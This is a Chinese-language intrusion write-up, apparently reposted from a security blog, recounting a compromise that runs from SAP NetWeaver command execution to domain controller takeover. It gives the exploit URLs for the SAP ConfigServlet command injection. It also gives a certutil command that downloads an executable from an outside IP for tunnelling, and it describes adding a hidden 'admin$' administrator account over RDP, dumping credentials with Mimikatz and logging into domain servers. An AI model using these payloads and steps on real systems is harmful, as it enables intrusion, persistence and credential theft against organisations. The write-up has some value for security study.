记一次命令执行到内网渗透拿下域控

原文地址：https://www.xljtj.com/archives/ad.html

目标站采用SAP NetWeaver是SAP的集成平台，SAP命令执行payload为网址+命令。

http://www.test.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c net user

Linux执行：

http://www.test.com/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=id

由于提前得知目标为Windows机器，直接在目标网站执行net user，得到如下结果

查看当前用户，权限以及网络信息

得到当前用户sapxxx为administrator权限，同时为内网机器，那么就可以直接执行Windows自带的下载命令，来下载一个狗洞，用来转发流量。

当然你可以直接执行比如CS、MSF、以及你自己的远控等等，但是要考虑免杀问题，就用狗洞来操作。

Windows下载命令：

certutil -urlcache -split -f http://8.8.8.8/test.exe C:test.exe

然后用命令执行去添加一个管理权限的用户，根据上面ipconfig得到的内网ip：10.85.x.x，直接连接其3389，成功添加账号admin$，直接登陆成功

执行查询域管机命令发现没权限，然后用猕猴桃抓取一下本机账号密码，

巧了不是，直接用得到的ATxxxAdministxxx去登陆SRV-DC-xx或者SRV-MAIN-xx，ping SRV-DC-xx和SRV-MAIN-xx得到ip

---

推 荐 阅 读

本文始发于微信公众号（潇湘信安）：记一次命令执行到内网渗透拿下域控